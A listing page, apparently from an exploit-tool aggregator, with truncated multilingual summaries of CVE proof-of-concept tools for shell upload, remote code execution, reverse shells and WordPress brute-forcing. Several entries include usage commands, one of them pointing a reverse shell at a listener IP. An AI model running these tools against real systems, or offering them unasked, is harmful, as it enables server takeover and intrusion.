CVE-2023-26469

CVE-2023-26469 REC PoC This repository contains an exploit script for CVE-2023-26469, which allows an attacker to leverage path traversal to access files and execute code on a server running Jorani 1.0.0. Additionally, the script includes shell upload functionality for further exploitation...

rwsploit

Oracle Reports rwservlet Scanner ⚠️ For authorized use only. Only run this tool against systems you own or have explicit written permission to test. Unauthorized use is illegal. A focused exploitation scanner for Oracle Reports Server rwservlet targeting CVE-2012-3152 and CVE-2012-3153 — affecting...

CVE-2018-2380

CVE-2018-2380 CVSS v3 Base Score: 6.6/10 PoC of Remote Command Execution via Log injection on SAP NetWeaver AS JAVA CRM Script usage example root@kitploit: python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true Where --host...

CVE-2025-53770-Scanner

CVE-2025-53770 Scanner by DanSec A simple, effective reconnaissance tool to identify potential exposure to the critical SharePoint vulnerability CVE-2025-53770. !Warning This tool is intended for authorised testing purposes only. The author DanSec takes no responsibility for misuse or damage caus...

CVE-2023-34960

CVE-2023-34960 Chamilo 命令注入 带自动上传 shell。 （运用你的逻辑）检查漏洞结果的目录路径，然后你可以找到你的访问 shell wso.php 安装与执行 root@kitploit: $ git clone https://github.com/Mantodkaz/CVE-2023-34960 $ cd CVE-2023-34960 $ pip install -r requirements.txt $ python3 finder.py 注意 更多命令可自行编辑 finder.py 的 第66行 作者 MantodKaz 免责声明！！...

ICG-AutoExploiterBoT

ICG-AutoExploiterBoT ❗ Edit Line 44 Add your Email Address for Add admin joomla Exploit Use outlook.com Mail! ✔️ :warning:Note! : We don't Accept any responsibility for any illegal usage. AutoExploiter Not working for now! please Wait for update This software! AutoExploiter Not working for now!...

CVE-2024-9290

CVE-2024-9290 漏洞利用工具 | Super Backup & Clone 漏洞 该工具针对使用 Super Backup & Clone 插件且存在任意文件上传漏洞的 WordPress 网站。它尝试将恶意 shell 上传到 /wp-content/uploads/isnapshots/ 目录。上传后，该工具会验证 shell 是否存在，并将成功上传的记录写入 shells.txt 文件。 功能 多线程 ：同时处理最多 10 个 URL，以加快利用速度。 自定义 Shell 上传 ：使用托管在 GitHub 上的恶意 shell 作为有效载荷。 日志记录...

WPForce

WPForce - Wordpress Attack Suite ABOUT: WPForce is a suite of Wordpress Attack tools. Currently this contains 2 scripts - WPForce, which brute forces logins via the API, and Yertle, which uploads shells once admin credentials have been found. Yertle also contains a number of post exploitation...

CVE-2023-6875

Lo que hace el exploit Coloca un token que te permite ver el correo. Encuentra el nombre de usuario del administrador; si no puede encontrarlo, establece "admin" como predeterminado. Solicita un enlace para restablecer la contraseña del administrador, el cual se envía por correo al administrador...

CVE-2024-37085

CVE-2024-37085 未经身份验证的shell上传，可完全接管加入域的esxi管理程序。 下载 ESXIVORTEX 详情: 一种身份验证绕过，导致在vpxuser上下文中上传shell，从而在加入域的ESXI管理程序上获得完全管理权限。 为了利用此漏洞，必须启用ESXI shell。 利用: 利用此漏洞需要执行几个步骤才能实现完全管理员控制。 所有这些步骤都由一个Python脚本处理。 要利用此漏洞，您需要选择此脚本中使用的方法 使用--full或-f参数，脚本将尝试获取具有完全管理员权限的shell 如果未提供--dc或-d参数，则脚本将仅向目标上传一个shell...

CVE-2025-0282-Ivanti-exploit

CVE-2025-0282-Ivanti-exploit CVE-2025-0282 is a critical vulnerability found in Ivanti Connect Secure, allowing Remote Command Execution RCE through a buffer overflow exploit. This vulnerability enables attackers to upload malicious files e.g., web shells and execute commands on the target system...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 反向shell上传 基于h3v0x编写的exploit的WpDiscuz 7.0.4漏洞利用程序。 利用该漏洞并上传一个反向PHP shell。灵感来源于Blogger CTF。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用示例：...

WordPress SP Project & Document Manager <4.22 - Authenticated Shell Upload

WordPress SP Project & Document Manager plugin before 4.22 is susceptible to authenticated shell upload. The plugin allows users to upload files; however, the plugin attempts to prevent PHP and other similar executable files from being uploaded via checking the file extension. PHP files can still...

Vmware-ESXI

CVE-2024-37085 ドメイン参加済みESXiハイパーバイザーに対する認証なしシェルアップロードから完全な管理者権限の取得。 ESXIVORTEXをダウンロード 詳細: 認証バイパスにより、vpxuser コンテキストでのシェルアップロードが可能になり、ドメイン参加済みESXiハイパーバイザー上で完全な管理者権限を取得します。 この脆弱性を悪用するには、ESXiシェルが有効になっている必要があります。 エクスプロイト: この脆弱性の悪用には、完全な管理者制御を達成するためにいくつかの手順を実行する必要があります。 これらすべての手順は、1つのPythonスクリプトで処理されます。...

CVE-2020-24186

chmod +x CVE-2020-24186 ./CVE-2020-24186...

CVE-2023-45878

CVE-2023-45878 Wrote this script based on the work of https://herolab.usd.de/security-advisories/usd-2023-0025/ . The exploit works by using an Arbitrary File Write exploit in Gibbon LMS 25.0.1 . This PoC will use upload a simple php cmd script, and then use that to load a powershell revshell...

CVE-2021-26828-Ultimate

ScadaFlare - CVE-2021-26828 Authenticated RCE Exploitation Toolkit A modular post-auth RCE exploit targeting ScadaBR 1.1.0, enhanced for red team ops. Features Uploads weaponized .jsp shell via viewedit.shtm Supports Linux & Windows payloads SOCKS5 / HTTP proxy support Reverse shell trigger...

Spring4Shell-CVE-2022-22965-POC

Spring4Shell-CVE-2022-22965-POC root@kitploit: ghost㉿uchiha:$ ./exploit.py --help usage: exploit.py -h -f FILENAME -p PASSWORD -d DIRECTORY url Spring4Shell RCE Proof of Concept positional arguments: url Target URL options: -h, --help show this help message and exit -f FILENAME, --filename FILENA...

CVE-2018-2628

CVE-2018-2628 WebLogic Deserialization Vulnerability Reproduction weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp root@kitploit: C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || ...

CVE-2022-31814

CVE-2022-31814 更新版利用代码 - pfBlockerNG = 2.1.426 未授权远程代码执行 CVE-2022-31814 描述 此脚本是 pfBlockerNG = 2.1.426 的概念验证利用代码，可实现远程代码执行。它接受单个目标 URL 或 URL 列表，尝试使用多个有效载荷上传 shell，执行命令，然后删除 shell。 需求 此脚本需要 Python 3.x 及安装 requests 模块。可以通过运行以下命令来安装这些模块： root@kitploit: pip3 install requests 或 root@kitploit: pip3...